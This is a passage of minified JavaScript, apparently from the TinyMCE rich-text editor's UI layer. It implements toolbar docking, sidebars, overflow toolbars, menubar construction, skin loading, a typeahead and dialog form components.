mt(pe(u,"position"),"fixed")?(r=e,GC(o=u,i=n).filter(function(t){return WC(i.getModes(),t,r)}).bind(function(t){return XC(o,t,i)})):function(t,e,n){var r,o,i=Mn(t);if(WC(n.getModes(),i,e))return vt.none();r=t,o=i,n.setInitialPos({style:function(){var t={},e=r.dom;if(ct(e))for(var n=0;n<e.style.length;n++){var o=e.style.item(n);t[o]=e.style[o]}return t}(),position:ge(r,"position")||"static",bounds:o});var u=Fn(),a=i.x-u.x,c=e.y-u.y,s=u.bottom-e.bottom,l=i.y<=e.y;return vt.some(PO.fixed(Ea("fixed",vt.some(a),l?vt.some(c):vt.none(),vt.none(),l?vt.none():vt.some(s))))}(u,e,n)}function qC(e,t,n){n.setDocked(!1),St(["left","right","top","bottom","position"],function(t){return ve(e.element,t)}),t.onUndocked(e)}function KC(t,e,n,o){var r="fixed"===o.position;n.setDocked(r),Da(t.element,o),(r?e.onDocked:e.onUndocked)(t)}function JC(o,t,r,i,u){void 0===u&&(u=!1),t.contextual.each(function(n){n.lazyContext(o).each(function(t){var e=t.y<i.bottom&&t.bottom>i.y;e!==r.isVisible()&&(r.setVisible(e),u&&!e?(Jr(o.element,[n.fadeOutClass]),n.onHide(o)):(e?UC:jC)(o,n))})})}function $C(t,e,n){var o,r,i,u,a,c;n.isDocked()&&(r=e,i=n,c=(o=t).element,i.setDocked(!1),GC(a=o.element,u=i).bind(function(t){return XC(a,t,u)}).each(function(t){t.fold(function(){return qC(o,r,i)},function(t){return KC(o,r,i,t)},st)}),i.setVisible(!0),r.contextual.each(function(t){$r(c,[t.fadeInClass,t.fadeOutClass,t.transitionClass]),t.onShow(o)}),VO(o,r,i))}function QC(t,e){return wt(zO.getModes(t),e)}function ZC(r){var i=r.element;Yt(i).each(function(t){var e,n,o="padding-"+zO.getModes(r)[0];zO.isDocked(r)?(e=Ce(t),fe(i,"width",e+"px"),fe(t,o,we(n=i)+(parseInt(ge(n,"margin-top"),10)||0)+(parseInt(ge(n,"margin-bottom"),10)||0)+"px")):(ve(i,"width"),ve(t,o))})}function t1(t,e){e?(qr(t,jO.fadeOutClass),Jr(t,[jO.transitionClass,jO.fadeInClass])):(qr(t,jO.fadeInClass),Jr(t,[jO.fadeOutClass,jO.transitionClass]))}function e1(t,e){var n=Mt.fromDom(t.getContainer());e?(Yr(n,WO),qr(n,GO)):(Yr(n,GO),qr(n,WO))}function n1(u,t){function o(e){r().each(function(t){return e(t.element)})}function e(t){u.inline||ZC(t),e1(u,zO.isDocked(t)),t.getSystem().broadcastOn([xf()],{}),r().each(function(t){return t.getSystem().broadcastOn([xf()],{})})}var n,i=gc(),r=t.getSink,a=u.inline?[]:[ic.config({channels:((n={})[UO()]={onReceive:ZC},n)})];return V([Mg.config({}),zO.config({contextual:lt({lazyContext:function(t){var e=we(t.element),n=u.inline?u.getContentAreaContainer():u.getContainer(),o=Mn(Mt.fromDom(n)),r=o.height-e,i=o.y+(QC(t,"top")?0:e);return vt.some(Bn(o.x,i,o.width,r))},onShow:function(){o(function(t){return t1(t,!0)})},onShown:function(r){o(function(t){return $r(t,[jO.transitionClass,jO.fadeInClass])}),i.get().each(function(t){var e,n=r.element,o=jt(e=t);Oa(o).filter(function(t){return!zt(e,t)}).filter(function(t){return zt(t,Mt.fromDom(o.dom.body))||Ut(n,t)}).each(function(){return ka(e)}),i.clear()})},onHide:function(t){var e=t.element,n=r;_a(e).orThunk(function(){return n().toOptional().bind(function(t){return _a(t.element)})}).fold(i.clear,i.set),o(function(t){return t1(t,!1)})},onHidden:function(){o(function(t){return $r(t,[jO.transitionClass])})}},jO),lazyViewport:function(t){var e=Fn(),n=u.getParam("toolbar_sticky_offset",0,"number"),o=e.y+(QC(t,"top")?n:0),r=e.height-(QC(t,"bottom")?n:0);return Bn(e.x,o,e.width,r)},modes:[t.header.getDockingMode()],onDocked:e,onUndocked:e})],a,!0)}function o1(t){return ao("menubutton",KO,t)}function r1(e,t){return t.getAnimationRoot.fold(function(){return e.element},function(t){return t(e)})}function i1(t){return t.dimension.property}function u1(t,e){return t.dimension.getDimension(e)}function a1(t,e){$r(r1(t,e),[e.shrinkingClass,e.growingClass])}function c1(t,e){qr(t.element,e.openClass),Yr(t.element,e.closedClass),fe(t.element,i1(e),"0px"),be(t.element)}function s1(t,e){qr(t.element,e.closedClass),Yr(t.element,e.openClass),ve(t.element,i1(e))}function l1(t,e,n,o){n.setCollapsed(),fe(t.element,i1(e),u1(e,t.element)),be(t.element),a1(t,e),c1(t,e),e.onStartShrink(t),e.onShrunk(t)}function f1(t,e,n){var o=u1(e,t.element);("0px"===o?l1:function(t,e,n,o){var r=o.getOrThunk(function(){return u1(e,t.element)});n.setCollapsed(),fe(t.element,i1(e),r),be(t.element);var i=r1(t,e);qr(i,e.growingClass),Yr(i,e.shrinkingClass),c1(t,e),e.onStartShrink(t)})(t,e,n,vt.some(o))}function d1(t,e,n){var o=r1(t,e),r=Kr(o,e.shrinkingClass),i=u1(e,t.element);s1(t,e);var u=u1(e,t.element);(r?function(){fe(t.element,i1(e),i),be(t.element)}:function(){c1(t,e)})(),qr(o,e.shrinkingClass),Yr(o,e.growingClass),s1(t,e),fe(t.element,i1(e),u),n.setExpanded(),e.onStartGrow(t)}function m1(t,e,n){return!0===Kr(r1(t,e),e.growingClass)}function g1(t,e,n){return!0===Kr(r1(t,e),e.shrinkingClass)}function p1(t){return"<alloy.field."+t+">"}function h1(t){return{element:function(){return t.element.dom}}}function v1(t,n){cd.getCurrent(t).each(function(t){return Dg.set(t,[(e=n,r_.sketch(function(t){return{dom:{tag:"div",classes:["tox-sidebar__pane-container"]},components:(n=t,r=B(Ct(o=e),function(t){var e=o[t],n=co(ao("sidebar",i_,e));return{name:t,getApi:h1,onSetup:n.onSetup,onShow:n.onShow,onHide:n.onHide}}),B(r,function(t){var e=Po(st);return n.slot(t.name,{dom:{tag:"div",classes:["tox-sidebar__pane"]},behaviours:qv([hb(t,e),vb(t,e),Cr(Ji(),function(e,t){var n=t.event;N(r,function(t){return t.name===n.name}).each(function(t){(n.visible?t.onShow:t.onHide)(t.getApi(e))})})])})})),slotBehaviours:qv([ou(function(t){return r_.hideAllSlots(t)})])};var n,o,r}))]);var e})}function b1(t){return cd.getCurrent(t).bind(function(t){return t_.isGrowing(t)||t_.hasGrown(t)?cd.getCurrent(t).bind(function(e){return N(r_.getSlotNames(e),function(t){return r_.isShowing(e,t)})}):vt.none()})}function y1(t){return cd.getCurrent(t).each(function(t){return ka(t.element)})}function x1(f,d,m){function e(t){var e;!g.get()||"focusin"===(e=t).type&&(e.composed?Y(e.composedPath()):vt.from(e.target)).map(Mt.fromDom).filter(Ge).exists(function(t){return Kr(t,"mce-pastebin")})||(t.preventDefault(),y1(d()),f.editorManager.setActive(f))}var g=Po(!1),n=gc();function o(t){var e,n,o,r,i,u,a,c,s,l;t!==g.get()&&(g.set(t),e=f,n=d(),o=t,r=m.providers,c=n.element,s=o,l="data-mce-"+(i="tabindex"),vt.from(e.iframeElement).map(Mt.fromDom).each(function(e){s?(ue(e,i).each(function(t){return oe(e,l,t)}),oe(e,i,-1)):(ce(e,i),ue(e,l).each(function(t){oe(e,i,t),ce(e,l)}))}),o?(s_.block(n,(a=r,function(t,e){return{dom:{tag:"div",attributes:{"aria-label":a.translate("Loading..."),tabindex:"0"},classes:["tox-throbber__busy-spinner"]},components:[{dom:Hm('<div class="tox-spinner"><div></div><div></div><div></div></div>')}]}})),ve(c,"display"),ce(c,"aria-hidden"),e.hasFocus()&&y1(n)):(u=cd.getCurrent(n).exists(function(t){return Ca(t.element)}),s_.unblock(n),fe(c,"display","none"),oe(c,"aria-hidden","true"),u&&e.focus()),f.fire("AfterProgressState",{state:t}))}f.inline||f.on("PreInit",function(){f.dom.bind(f.getWin(),"focusin",e),f.on("BeforeExecCommand",function(t){"mcefocus"===t.command.toLowerCase()&&!0!==t.value&&e(t)})}),f.on("ProgressState",function(t){var e;n.on(rp.clearTimeout),u(t.time)?(e=rp.setEditorTimeout(f,function(){return o(t.state)},t.time),n.set(e)):(o(t.state),n.clear())})}function w1(t,e,n){return{within:t,extra:e,withinWidth:n}}function S1(t,e,o){var n,r=(n=function(t,e){var n=o(t);return vt.some({element:t,start:e,finish:e+n,width:n})},R(t,function(e,t){return n(t,e.len).fold(rt(e),function(t){return{len:t.finish,list:e.list.concat([t])}})},{len:0,list:[]}).list),i=F(r,function(t){return t.finish<=e}),u=I(i,function(t,e){return t+e.width},0);return{within:i,extra:r.slice(i.length),withinWidth:u}}function k1(t){return B(t,function(t){return t.element})}function C1(t,e){var n=B(e,function(t){return Eu(t)});IO.setGroups(t,n)}function O1(t,e,n){var o,r,i,u,a,c,s,l,f,d,m,g,p,h,v,b,y,x,w,S,k=e.builtGroups.get();0!==k.length&&(o=gl(t,e,"primary"),r=Jx.getCoupled(t,"overflowGroup"),fe(o.element,"visibility","hidden"),u=K(i=k.concat([r]),function(e){return _a(e.element).bind(function(t){return e.getSystem().getByDom(t).toOptional()})}),n([]),C1(o,i),a=Ce(o.element),0===(s=a,l=e.builtGroups.get(),d=r,y=(0===(m=S1(l,s,f=function(t){return Ce(t.element)})).extra.length?vt.some(m):vt.none()).getOrThunk(function(){return S1(l,s-f(d),f)}),x=y.within,w=y.extra,S=y.withinWidth,(c=1===w.length&&w[0].width<=f(d)?(b=S,w1(k1(x.concat(w)),[],b)):1<=w.length?(p=w,h=d,v=S,w1(k1(x).concat([h]),k1(p),v)):(g=S,w1(k1(x),[],g))).extra.length)?(Dg.remove(o,r),n([])):(C1(o,c.within),n(c.extra)),ve(o.element,"visibility"),be(o.element),u.each(Mg.focus))}function _1(t,e){var n=Jx.getCoupled(t,"toolbarSandbox");bf.isOpen(n)?bf.close(n):bf.open(n,e.toolbar())}function T1(t,e,n,o){var r=n.getBounds.map(function(t){return t()}),i=n.lazySink(t).getOrDie();ff.positionWithinBounds(i,e,{anchor:{type:"hotspot",hotspot:t,layouts:o,overrides:{maxWidthFunction:m_()}}},r)}function E1(t,e,n,o,r){IO.setGroups(e,r),T1(t,e,n,o),Rg.on(t)}function D1(t){return B(t,function(t){return Eu(t)})}function A1(t,n,o){O1(t,o,function(e){o.overflowGroups.set(e),n.getOpt(t).each(function(t){h_.setGroups(t,D1(e))})})}function B1(e,n){ml(e,n,"overflow-button").bind(function(){return ml(e,n,"overflow")}).each(function(t){J1(e,n),t_.toggleGrow(t)})}function M1(t){var e=t.title.fold(function(){return{}},function(t){return{attributes:{title:t}}});return{dom:lt({tag:"div",classes:["tox-toolbar__group"]},e),components:[y_.parts.items({})],items:t.items,markers:{itemSelector:"*:not(.tox-split-button) > .tox-tbtn:not([disabled]), .tox-split-button:not([disabled]), .tox-toolbar-nav-js:not([disabled])"},tgroupBehaviours:ec([gx.config({}),Mg.config({})])}}function F1(t){return y_.sketch(M1(t))}function I1(n,t){var e=ou(function(t){var e=B(n.initGroups,F1);IO.setGroups(t,e)});return ec([$b(n.providers.isDisabled),gb(),Tg.config({mode:t,onEscape:n.onEscape,selector:".tox-toolbar__group"}),mm("toolbar-events",[e])])}function R1(t){var e=t.cyclicKeying?"cyclic":"acyclic";return{uid:t.uid,dom:{tag:"div",classes:["tox-toolbar-overlord"]},parts:{"overflow-group":M1({title:vt.none(),items:[]}),"overflow-button":Xw({name:"more",icon:vt.some("more-drawer"),disabled:!1,tooltip:vt.some("More..."),primary:!1,borderless:!1},vt.none(),t.providers)},splitToolbarBehaviours:I1(t,e)}}function N1(t){var e=t.cyclicKeying?"cyclic":"acyclic";return IO.sketch({uid:t.uid,dom:{tag:"div",classes:["tox-toolbar"].concat(t.type===vv.scrolling?["tox-toolbar--scrolling"]:[])},components:[IO.parts.groups({})],toolbarBehaviours:I1(t,e)})}function P1(t){return"string"==typeof t?t.split(" "):t}function V1(i,u){var a=lt(lt({},M_),u.menus),n=0<Ct(u.menus).length,t=F(void 0===u.menubar||!0===u.menubar?P1("file edit view insert format tools table help"):P1(!1===u.menubar?"":u.menubar),function(t){var e=Tt(M_,t);return n?e||tt(u.menus,t).exists(function(t){return Tt(t,"items")}):e});return F(B(t,function(t){var e=a[t],n={title:e.title,items:P1(e.items)},o=u,r=i.getParam("removed_menuitems","").split(/[ ,]/);return{text:n.title,getItems:function(){return H(n.items,function(t){var e=t.toLowerCase();return 0===e.trim().length||d(r,function(t){return t===e})?[]:"separator"===e||"|"===e?[{type:"separator"}]:o.menuItems[e]?[o.menuItems[e]]:[]})}}}),function(t){return 0<t.getItems().length&&d(t.getItems(),function(t){return"separator"!==t.type})})}function H1(t){function e(){t._skinLoaded=!0,t.fire("SkinLoaded")}return function(){t.initialized?e():t.on("init",e)}}function L1(n,o,r){return new Bh(function(t,e){r.load(o,t,e),n.on("remove",function(){return r.unload(o)})})}function z1(t,e){var n,o,r,i,u,a,c,s,l,f=(r=(n=e).getParam("skin"),i=n.getParam("skin_url"),!1!==r&&(o=r||"oxide",i=i?n.documentBaseURI.toAbsolute(i):nb.baseURL+"/skins/ui/"+o),i);f&&e.contentCSS.push(f+(t?"/content.inline":"/content")+".min.css"),!1===e.getParam("skin")==0&&y(f)?Bh.all([L1(e,f+"/skin.min.css",e.ui.styleSheetLoader),(c=e,s=f,l=Mt.fromDom(c.getElement()),pn(l).isSome()?L1(c,s+"/skin.shadowdom.min.css",eb.DOM.styleSheetLoader):Bh.resolve())]).then(H1(e),(u=e,a="Skin could not be loaded",function(){return u.fire("SkinLoadError",{message:a})})):H1(e)()}function U1(o,r){return function(e){function t(){e.setActive(o.formatter.match(r));var t=o.formatter.formatChanged(r,e.setActive);n.set(t)}var n=mc();return o.initialized?t():o.once("init",t),function(){o.off("init",t),n.clear()}}}function j1(o,r,i){return function(t){function e(){return i(t)}function n(){i(t),o.on(r,e)}return o.initialized?n():o.once("init",n),function(){o.off("init",n),o.off(r,e)}}}function W1(e){return function(t){return function(){e.undoManager.transact(function(){e.focus(),e.execCommand("mceToggleFormat",!1,t.format)})}}}function G1(t,e){return function(){return t.execCommand(e)}}function X1(t,e,n){var u,a,c,o=n.dataset,r="basic"===o.type?function(){return B(o.data,function(t){return bC(t,n.isSelectedFor,n.getPreviewFor)})}:o.getData;return{items:(u=e,a=n,c=function(t,e,n){var o="formatter"===t.type&&a.isInvalid(t);return 0===e?o?[]:i(t,e,!1,n).toArray():i(t,e,o,n).toArray()},{validateItems:s,getFetch:function(n,o){return function(t,e){e(Uw(s(o()),wv.CLOSE_ON_EXECUTE,n,!1))}}}),getStyleItems:r};function i(t,e,n,o){var r=u.shared.providers.translate(t.title);if("separator"===t.type)return vt.some({type:"separator",text:r});if("submenu"!==t.type)return vt.some(lt({type:"togglemenuitem",text:r,icon:t.icon,active:t.isSelected(o),disabled:n,onAction:a.onAction(t)},t.getStylePreview().fold(function(){return{}},function(t){return{meta:{style:t}}})));var i=H(t.getStyleItems(),function(t){return c(t,e,o)});return 0===e&&i.length<=0?vt.none():vt.some({type:"nestedmenuitem",text:r,disabled:i.length<=0,getSubmenuItems:function(){return H(t.getStyleItems(),function(t){return c(t,e,o)})}})}function s(t){var e=a.getCurrentValue(),n=a.shouldHide?0:1;return H(t,function(t){return c(t,n,e)})}}function Y1(t,e,n){var o=X1(0,e,n),r=o.items,i=o.getStyleItems,u=j1(t,"NodeChange",function(t){var e=t.getComponent();n.updateText(e)});return Lw({text:n.icon.isSome()?vt.none():n.text,icon:n.icon,tooltip:vt.from(n.tooltip),role:vt.none(),fetch:r.getFetch(e,i),onSetup:u,getApi:function(t){return{getComponent:rt(t)}},columns:1,presets:"normal",classes:n.icon.isSome()?[]:["bespoke"],dropdownBehaviours:[]},"tox-tbtn",e.shared)}function q1(t){return function(t){for(;t=t.parentNode;){var e=t.contentEditable;if(e&&"inherit"!==e)return kO(t)}return!1}(t)&&!CO(t)}function K1(r,t){function e(t){return vl(r)}function n(n,o){return function(t,e){return ml(t,r,e).map(function(t){return n(t,e)}).getOr(o)}}function o(t,e){return"true"!==ie(t.element,"aria-hidden")}var i,u=n(o,!1),a=n(function(t,e){var n;o(t)&&(fe(n=t.element,"display","none"),oe(n,"aria-hidden","true"),br(t,Ji(),{name:e,visible:!1}))}),c=(i=a,function(e,t){St(t,function(t){return i(e,t)})}),s=n(function(t,e){var n;o(t)||(ve(n=t.element,"display"),ce(n,"aria-hidden"),br(t,Ji(),{name:e,visible:!0}))});return{uid:r.uid,dom:r.dom,components:t,behaviours:tl(r.slotBehaviours),apis:{getSlotNames:e,getSlot:function(t,e){return ml(t,r,e)},isShowing:u,hideSlot:a,hideAllSlots:function(t){return c(t,e())},showSlot:s}}}function J1(t,e){ml(t,e,"overflow").each(function(n){O1(t,e,function(t){var e=B(t,function(t){return Eu(t)});IO.setGroups(n,e)}),ml(t,e,"overflow-button").each(function(t){t_.hasGrown(n)&&Rg.on(t)}),t_.refresh(n)})}var $1,Q1,Z1,tO="data-value",eO=function(e,n,t,o){return B(t,function(t){return oC(t)?{type:"togglemenuitem",text:t.text,value:t.value,active:t.value===o,onAction:function(){Df.setValue(e,t.value),br(e,bx,{name:n}),Mg.focus(e)}}:{type:"nestedmenuitem",text:t.text,getSubmenuItems:function(){return eO(e,n,t.items,o)}}})},nO=function(t,e){return K(t,function(t){return oC(t)?ot(t.value===e,t):nO(t.items,e)})},oO=kl({name:"HtmlSelect",configFields:[mo("options"),Zs("selectBehaviours",[Mg,Df]),Eo("selectClasses",[]),Eo("selectAttributes",{}),wo("data")],factory:function(n,t){var e=B(n.options,function(t){return{dom:{tag:"option",value:t.value,innerHtml:t.text}}}),o=n.data.map(function(t){return sr("initialValue",t)}).getOr({});return{uid:n.uid,dom:{tag:"select",classes:n.selectClasses,attributes:n.selectAttributes},components:e,behaviours:el(n.selectBehaviours,[Mg.config({}),Df.config({store:lt({mode:"manual",getValue:function(t){return Qr(t.element)},setValue:function(t,e){N(n.options,function(t){return t.value===e}).isSome()&&Zr(t.element,e)}},o)})])}}}),rO=Object.freeze({__proto__:null,events:function(t,e){var n=t.stream.streams.setup(t,e);return nu([Cr(t.event,n),ru(function(){return e.cancel()})].concat(t.cancelEvent.map(function(t){return[Cr(t,function(){return e.cancel()})]}).getOr([])))}}),iO=Object.freeze({__proto__:null,throttle:uC,init:function(t){return t.stream.streams.state(t)}}),uO=xa({fields:[go("stream",lo("mode",{throttle:[mo("delay"),Eo("stopEvent",!0),ta("streams",{setup:function(t,e){var n=t.stream,o=hh(t.onStream,n.delay);return e.setTimer(o),function(t,e){o.throttle(t,e),n.stopEvent&&e.stop()}},state:uC})]})),Eo("event","input"),wo("cancelEvent"),Qu("onStream")],name:"streaming",active:rO,state:iO}),aO=function(t){cC(t,function(t,e){return t.setSelectionRange(e.length,e.length)})},cO=rt("alloy.typeahead.itemexecute"),sO=rt([wo("lazySink"),mo("fetch"),Eo("minChars",5),Eo("responseTime",1e3),Ju("onOpen"),Eo("getHotspot",vt.some),Eo("getAnchorOverrides",rt({})),Eo("layouts",vt.none()),Eo("eventOrder",{}),No("model",{},[Eo("getDisplayText",function(t){return void 0!==t.meta&&void 0!==t.meta.text?t.meta.text:t.value}),Eo("selectsOver",!0),Eo("populateFromBrowse",!0)]),Ju("onSetValue"),$u("onExecute"),Ju("onItemExecute"),Eo("inputClasses",[]),Eo("inputAttributes",{}),Eo("inputStyles",{}),Eo("matchWidth",!0),Eo("useMinWidth",!1),Eo("dismissOnBlur",!0),qu(["openClass"]),wo("initialData"),Zs("typeaheadBehaviours",[Mg,Df,uO,Tg,Rg,Jx]),cr("previewing",function(){return Po(!0)})].concat(Tx()).concat(i0())),lO=rt([$f({schema:[Yu()],name:"menu",overrides:function(o){return{fakeFocus:!0,onHighlight:function(e,n){o.previewing.get()?e.getSystem().getByUid(o.uid).each(function(t){!function(t,e,o){if(t.selectsOver){var n=Df.getValue(e),r=t.getDisplayText(n),i=Df.getValue(o);return 0===t.getDisplayText(i).indexOf(r)?vt.some(function(){var n;aC(0,e,o),n=r.length,cC(e,function(t,e){return t.setSelectionRange(n,e.length)})}):vt.none()}return vt.none()}(o.model,t,n).fold(function(){return hd.dehighlight(e,n)},function(t){return t()})}):e.getSystem().getByUid(o.uid).each(function(t){o.model.populateFromBrowse&&aC(o.model,t,n)}),o.previewing.set(!1)},onExecute:function(t,e){return t.getSystem().getByUid(o.uid).toOptional().map(function(t){return br(t,cO(),{item:e}),!0})},onHover:function(t,e){o.previewing.set(!1),t.getSystem().getByUid(o.uid).each(function(t){o.model.populateFromBrowse&&aC(o.model,t,e)})}}}})]),fO=Cl({name:"Typeahead",configFields:sO(),partFields:lO(),factory:function(r,t,e,i){function n(t,e,n){r.previewing.set(!1);var o=Jx.getCoupled(t,"sandbox");bf.isOpen(o)?cd.getCurrent(o).each(function(t){hd.getHighlighted(t).fold(function(){n(t)},function(){wr(o,t.element,"keydown",e)})}):t0(r,u(t),t,o,i,function(t){cd.getCurrent(t).each(n)},Px.HighlightFirst).get(st)}function u(n){return function(t){return t.map(function(t){var e=H(Z(t.menus),function(t){return F(t.items,function(t){return"item"===t.type})});return Df.getState(n).update(B(e,function(t){return t.data})),t})}}var o=ox(r),a=[Mg.config({}),Df.config({onSetValue:r.onSetValue,store:lt({mode:"dataset",getDataKey:function(t){return Qr(t.element)},getFallbackEntry:function(t){return{value:t,meta:{}}},setValue:function(t,e){Zr(t.element,r.model.getDisplayText(e))}},r.initialData.map(function(t){return sr("initialValue",t)}).getOr({}))}),uO.config({stream:{mode:"throttle",delay:r.responseTime,stopEvent:!1},onStream:function(t,e){var n,o=Jx.getCoupled(t,"sandbox");Mg.isFocused(t)&&Qr(t.element).length>=r.minChars&&(n=cd.getCurrent(o).bind(function(t){return hd.getHighlighted(t).map(Df.getValue)}),r.previewing.set(!0),t0(r,u(t),t,o,i,function(t){cd.getCurrent(o).each(function(t){n.fold(function(){r.model.selectsOver&&hd.highlightFirst(t)},function(e){hd.highlightBy(t,function(t){return Df.getValue(t).value===e.value}),hd.getHighlighted(t).orThunk(function(){return hd.highlightFirst(t),vt.none()})})})},Px.HighlightFirst).get(st))},cancelEvent:Hi()}),Tg.config({mode:"special",onDown:function(t,e){return n(t,e,hd.highlightFirst),vt.some(!0)},onEscape:function(t){var e=Jx.getCoupled(t,"sandbox");return bf.isOpen(e)?(bf.close(e),vt.some(!0)):vt.none()},onUp:function(t,e){return n(t,e,hd.highlightLast),vt.some(!0)},onEnter:function(e){var t=Jx.getCoupled(e,"sandbox"),n=bf.isOpen(t);if(n&&!r.previewing.get())return cd.getCurrent(t).bind(function(t){return hd.getHighlighted(t)}).map(function(t){return br(e,cO(),{item:t}),!0});var o=Df.getValue(e);return vr(e,Hi()),r.onExecute(t,e,o),n&&bf.close(t),vt.some(!0)}}),Rg.config({toggleClass:r.markers.openClass,aria:{mode:"expanded"}}),Jx.config({others:{sandbox:function(t){return o0(r,t,{onOpen:function(){return Rg.on(t)},onClose:function(){return Rg.off(t)}})}}}),mm("typeaheadevents",[uu(function(t){e0(r,u(t),t,i,st,Px.HighlightFirst).get(st)}),Cr(cO(),function(t,e){var n=Jx.getCoupled(t,"sandbox");aC(r.model,t,e.event.item),vr(t,Hi()),r.onItemExecute(t,n,e.event.item,Df.getValue(t)),bf.close(n),aO(t)})].concat(r.dismissOnBlur?[Cr(Bi(),function(t){var e=Jx.getCoupled(t,"sandbox");_a(e.element).isNone()&&bf.close(e)})]:[]))];return{uid:r.uid,dom:rx(Yo(r,{inputAttributes:{role:"combobox","aria-autocomplete":"list","aria-haspopup":"true"}})),behaviours:lt(lt({},o),el(r.typeaheadBehaviours,a)),eventOrder:r.eventOrder}}}),dO=function(i){return lt(lt({},i),{toCached:function(){return dO(i.toCached())},bindFuture:function(e){return dO(i.bind(function(t){return t.fold(function(t){return Wx(Nn.error(t))},function(t){return e(t)})}))},bindResult:function(e){return dO(i.map(function(t){return t.bind(e)}))},mapResult:function(e){return dO(i.map(function(t){return t.map(e)}))},mapError:function(e){return dO(i.map(function(t){return t.mapError(e)}))},foldResult:function(e,n){return i.map(function(t){return t.fold(e,n)})},withTimeout:function(t,r){return dO(jx(function(e){var n=!1,o=setTimeout(function(){n=!0,e(Nn.error(r()))},t);i.get(function(t){n||(clearTimeout(o),e(t))})}))}})},mO=function(t){return dO(jx(t))},gO={type:"separator"},pO=Ir("aria-invalid"),hO={bar:gC(function(t,e){return n=e.shared,{dom:{tag:"div",classes:["tox-bar","tox-form__controls-h-stack"]},components:B(t.items,n.interpreter)};var n}),collection:gC(function(t,e){return u=t,a=e.shared.providers,c=u.label.map(function(t){return nx(t,a)}),s=n(function(t,e,n,o){e.stop(),a.isDisabled()||br(t,wx,{name:u.name,value:o})}),l=[Cr(vi(),n(function(t,e,n){ka(n)})),Cr(Ci(),s),Cr(Ni(),s),Cr(bi(),n(function(t,e,n){Iu(t.element,"."+Av).each(function(t){qr(t,Av)}),Yr(n,Av)})),Cr(yi(),n(function(t){Iu(t.element,"."+Av).each(function(t){qr(t,Av)})})),uu(n(function(t,e,n,o){br(t,wx,{name:u.name,value:o})}))],ex(c,dx.parts.field({dom:{tag:"div",classes:["tox-collection"].concat(1!==u.columns?["tox-collection--grid"]:["tox-collection--list"])},components:[],factory:{sketch:h},behaviours:ec([gd.config({disabled:a.isDisabled,onDisabled:function(t){o(t,function(t){Yr(t,"tox-collection__item--state-disabled"),oe(t,"aria-disabled",!0)})},onEnabled:function(t){o(t,function(t){qr(t,"tox-collection__item--state-disabled"),ce(t,"aria-disabled")})}}),gb(),Dg.config({}),Df.config({store:{mode:"memory",initialValue:[]},onSetValue:function(o,t){var e=o,n=B(t,function(t){var e=fh.translate(t.text),n=1===u.columns?'<div class="tox-collection__item-label">'+e+"</div>":"",o='<div class="tox-collection__item-icon">'+t.icon+"</div>",r={_:" "," - ":" ","-":" "},i=e.replace(/\_| \- |\-/g,function(t){return r[t]});return'<div class="tox-collection__item'+(a.isDisabled()?" tox-collection__item--state-disabled":"")+'" tabindex="-1" data-collection-item-value="'+px.encodeAllRaw(t.value)+'" title="'+i+'" aria-label="'+i+'">'+o+n+"</div>"}),r=B("auto"!==u.columns&&1<u.columns?p(n,u.columns):[n],function(t){return'<div class="tox-collection__group">'+t.join("")+"</div>"});Mr(e.element,r.join("")),"auto"===u.columns&&uv(o,5,"tox-collection__item").each(function(t){var e=t.numRows,n=t.numColumns;Tg.setGridSize(o,e,n)}),vr(o,_x)}}),gx.config({}),Tg.config(1===(i=u.columns)?{mode:"menu",moveOnTab:!1,selector:".tox-collection__item"}:"auto"===i?{mode:"flatgrid",selector:".tox-collection__item",initSize:{numColumns:1,numRows:1}}:{mode:"matrix",selectors:{row:".tox-collection__group",cell:"."+kv}}),mm("collection-events",l)]),eventOrder:((r={})[Ii()]=["disabling","alloy.base.behaviour","collection-events"],r)}),["tox-form__group--collection"],[]);function n(o){return function(e,n){Ru(n.event.target,"[data-collection-item-value]").each(function(t){o(e,n,t,ie(t,"data-collection-item-value"))})}}function o(t,e){return B(vs(t.element,".tox-collection__item"),e)}var u,a,r,i,c,s,l}),alertbanner:gC(function(t,e){return o=e.shared.providers,sx.sketch({dom:{tag:"div",attributes:{role:"alert"},classes:["tox-notification","tox-notification--in","tox-notification--"+(n=t).level]},components:[{dom:{tag:"div",classes:["tox-notification__icon"]},components:[ip.sketch({dom:{tag:"button",classes:["tox-button","tox-button--naked","tox-button--icon"],innerHtml:uh(n.icon,o.icons),attributes:{title:o.translate(n.iconTooltip)}},action:function(t){br(t,wx,{name:"alert-banner",value:n.url})},buttonBehaviours:ec([ah()])})]},{dom:{tag:"div",classes:["tox-notification__body"],innerHtml:o.translate(n.text)}}]});var n,o}),input:gC(function(t,e){return o=e.shared.providers,iC({name:(n=t).name,multiline:!1,label:n.label,inputMode:n.inputMode,placeholder:n.placeholder,flex:!1,disabled:n.disabled,classname:"tox-textfield",validation:vt.none(),maximized:n.maximized},o);var n,o}),textarea:gC(function(t,e){return o=e.shared.providers,iC({name:(n=t).name,multiline:!0,label:n.label,inputMode:vt.none(),placeholder:n.placeholder,flex:!0,disabled:n.disabled,classname:"tox-textarea",validation:vt.none(),maximized:n.maximized},o);var n,o}),label:gC(function(t,e){return r={dom:{tag:"label",innerHtml:(o=e.shared).providers.translate((n=t).label),classes:["tox-label"]}},i=B(n.items,o.interpreter),{dom:{tag:"div",classes:["tox-form__group"]},components:[r].concat(i),behaviours:ec([uS(),Dg.config({}),aS(vt.none()),Tg.config({mode:"acyclic"})])};var n,o,r,i}),iframe:($1=function(t,e){return n=t,o=e.shared.providers,u=vk&&n.sandboxed,a=lt(lt({},n.label.map(function(t){return{title:t}}).getOr({})),u?{sandbox:"allow-scripts allow-same-origin"}:{}),r=u,i=Po(""),c={getValue:function(t){return i.get()},setValue:function(t,e){var n;r?oe(t.element,"srcdoc",e):(oe(t.element,"src","javascript:''"),(n=t.element.dom.contentWindow.document).open(),n.write(e),n.close()),i.set(e)}},ex(n.label.map(function(t){return nx(t,o)}),dx.parts.field({factory:{sketch:function(t){return fw({uid:t.uid,dom:{tag:"iframe",attributes:a},behaviours:ec([gx.config({}),Mg.config({}),mk(vt.none(),c.getValue,c.setValue)])})}}}),["tox-form__group--stretched"],[]);var n,o,r,i,u,a,c},function(t,e,n){var o=Yo(e,{source:"dynamic"});return gC($1)(t,o,n)}),button:gC(function(t,e){return n=t,o=e.shared.providers,r=Jw(n.name,"custom"),ex(vt.none(),dx.parts.field(lt({factory:ip},qw(n,vt.some(r),o,[gk(""),uS()]))),[],[]);var n,o,r}),checkbox:gC(function(t,e){return r=t,i=e.shared.providers,u=Df.config({store:{mode:"manual",getValue:function(t){return 